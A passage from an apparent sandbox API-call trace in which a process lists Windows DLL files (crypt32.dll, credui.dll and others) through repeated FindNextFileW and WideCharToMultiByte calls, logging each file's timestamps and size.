nFileSizeLow=0x8ec00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="comuid.dll", cAlternateFileName="")) returned 1 [0248.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMUID.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0248.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMUID.DLL", cchWideChar=10, lpMultiByteStr=0xa8c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMUID.DLL", lpUsedDefaultChar=0x0) returned 10 [0248.746] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cecfd00, ftCreationTime.dwHighDateTime=0x1d2881f, ftLastAccessTime.dwLowDateTime=0xfc801c00, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0x6cecfd00, ftLastWriteTime.dwHighDateTime=0x1d2881f, nFileSizeHigh=0x0, nFileSizeLow=0x3b548, dwReserved0=0x545448, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="")) returned 1 [0248.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONCRT140.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0248.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONCRT140.DLL", cchWideChar=13, lpMultiByteStr=0xa8c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONCRT140.DLL", lpUsedDefaultChar=0x0) returned 13 [0248.746] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf52a1a4c, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf52a1a4c, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x148400, dwReserved0=0x545448, dwReserved1=0x0, cFileName="connect.dll", cAlternateFileName="")) returned 1 [0248.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONNECT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONNECT.DLL", cchWideChar=11, lpMultiByteStr=0xa8c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONNECT.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.746] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62643aa1, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x62643aa1, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="console.dll", cAlternateFileName="")) returned 1 [0248.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONSOLE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONSOLE.DLL", cchWideChar=11, lpMultiByteStr=0xa8c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONSOLE.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.746] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09bc845, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb09bc845, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x545448, dwReserved1=0x0, cFileName="corpol.dll", cAlternateFileName="")) returned 1 [0248.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CORPOL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0248.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CORPOL.DLL", cchWideChar=10, lpMultiByteStr=0xa8c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CORPOL.DLL", lpUsedDefaultChar=0x0) returned 10 [0248.746] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ca9d39, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9ca00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="CPFilters.dll", cAlternateFileName="")) returned 1 [0248.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CPFILTERS.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0248.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CPFILTERS.DLL", cchWideChar=13, lpMultiByteStr=0xa8c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CPFILTERS.DLL", lpUsedDefaultChar=0x0) returned 13 [0248.747] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9da9522d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9da9522d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9da9522d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x545448, dwReserved1=0x0, cFileName="credssp.dll", cAlternateFileName="")) returned 1 [0248.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDSSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDSSP.DLL", cchWideChar=11, lpMultiByteStr=0xa8c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CREDSSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.747] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d09d5fb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d09d5fb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d0c375b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x29400, dwReserved0=0x545448, dwReserved1=0x0, cFileName="credui.dll", cAlternateFileName="")) returned 1 [0248.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDUI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0248.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDUI.DLL", cchWideChar=10, lpMultiByteStr=0xa8c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CREDUI.DLL", lpUsedDefaultChar=0x0) returned 10 [0248.747] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435139, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x435139, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x866dd550, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2461b, dwReserved0=0x545448, dwReserved1=0x0, cFileName="crtdll.dll", cAlternateFileName="")) returned 1 [0248.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRTDLL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0248.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRTDLL.DLL", cchWideChar=10, lpMultiByteStr=0xa8c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRTDLL.DLL", lpUsedDefaultChar=0x0) returned 10 [0248.747] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b04660, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x89b04660, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x89b76a81, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x119c00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="crypt32.dll", cAlternateFileName="")) returned 1 [0248.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPT32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPT32.DLL", cchWideChar=11, lpMultiByteStr=0xa8c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPT32.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.747] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54554db9, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x54554db9, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x86704650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x545448, dwReserved1=0x0, cFileName="cryptbase.dll", cAlternateFileName="")) returned 1 [0248.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTBASE.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0248.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTBASE.DLL", cchWideChar=13, lpMultiByteStr=0xa8c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTBASE.DLL", lpUsedDefaultChar=0x0) returned 13 [0248.747] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dce1c44, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8dce1c44, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x545448, dwReserved1=0x0, cFileName="cryptdlg.dll", cAlternateFileName="")) returned 1 [0248.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLG.DLL", cchWideChar=12, lpMultiByteStr=0xa8c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTDLG.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.747] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x360536d1, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x360536d1, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x545448, dwReserved1=0x0, cFileName="cryptdll.dll", cAlternateFileName="")) returned 1 [0248.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLL.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLL.DLL", cchWideChar=12, lpMultiByteStr=0xa8c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTDLL.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.747] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c473190, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3c473190, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x545448, dwReserved1=0x0, cFileName="cryptext.dll", cAlternateFileName="")) returned 1 [0248.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTEXT.DLL", cchWideChar=12, lpMultiByteStr=0xa8c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.748] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x382fd648, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x382fd648, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x19400, dwReserved0=0x545448, dwReserved1=0x0, cFileName="cryptnet.dll", cAlternateFileName="")) returned 1 [0248.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTNET.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTNET.DLL", cchWideChar=12, lpMultiByteStr=0xa8c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTNET.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.748] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde3e9ca5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xde3e9ca5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x545448, dwReserved1=0x0, cFileName="cryptsp.dll", cAlternateFileName="")) returned 1 [0248.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSP.DLL", cchWideChar=11, lpMultiByteStr=0xa8c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.748] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d61e8e5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d61e8e5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d644a45, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x21400, dwReserved0=0x545448, dwReserved1=0x0, cFileName="cryptsvc.dll", cAlternateFileName="")) returned 1 [0248.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSVC.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSVC.DLL", cchWideChar=12, lpMultiByteStr=0xa8c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTSVC.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.748] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d513f43, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf5000, dwReserved0=0x545448, dwReserved1=0x0, cFileName="cryptui.dll", cAlternateFileName="")) returned 1 [0248.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTUI.DLL", cchWideChar=11, lpMultiByteStr=0xa8c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.748] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f6e225d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f6e225d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14e00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="cryptxml.dll", cAlternateFileName="")) returned 1 [0248.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTXML.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTXML.DLL", cchWideChar=12, lpMultiByteStr=0xa8c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTXML.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.748] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2f83ed, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b2f83ed, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b3446ad, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x545448, dwReserved1=0x0, cFileName="cscapi.dll", cAlternateFileName="")) returned 1 [0248.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCAPI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0248.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCAPI.DLL", cchWideChar=10, lpMultiByteStr=0xa8c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCAPI.DLL", lpUsedDefaultChar=0x0) returned 10 [0248.748] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b1eda4b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b1eda4b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b2f83ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="cscdll.dll", cAlternateFileName="")) returned 1 [0248.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCDLL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0248.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCDLL.DLL", cchWideChar=10, lpMultiByteStr=0xa8c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCDLL.DLL", lpUsedDefaultChar=0x0) returned 10 [0248.748] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa28fc75d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa28fc75d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa29228be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x545448, dwReserved1=0x0, cFileName="cscobj.dll", cAlternateFileName="")) returned 1 [0248.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCOBJ.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0248.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCOBJ.DLL", cchWideChar=10, lpMultiByteStr=0xa8c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCOBJ.DLL", lpUsedDefaultChar=0x0) returned 10 [0248.749] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x304641, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x304641, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x867e7720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="ctl3d32.dll", cAlternateFileName="")) returned 1 [0248.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CTL3D32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CTL3D32.DLL", cchWideChar=11, lpMultiByteStr=0xa8c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CTL3D32.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.749] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55d8064, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd55d8064, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x828158e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36200, dwReserved0=0x545448, dwReserved1=0x0, cFileName="C_G18030.DLL", cAlternateFileName="")) returned 1 [0248.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_G18030.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 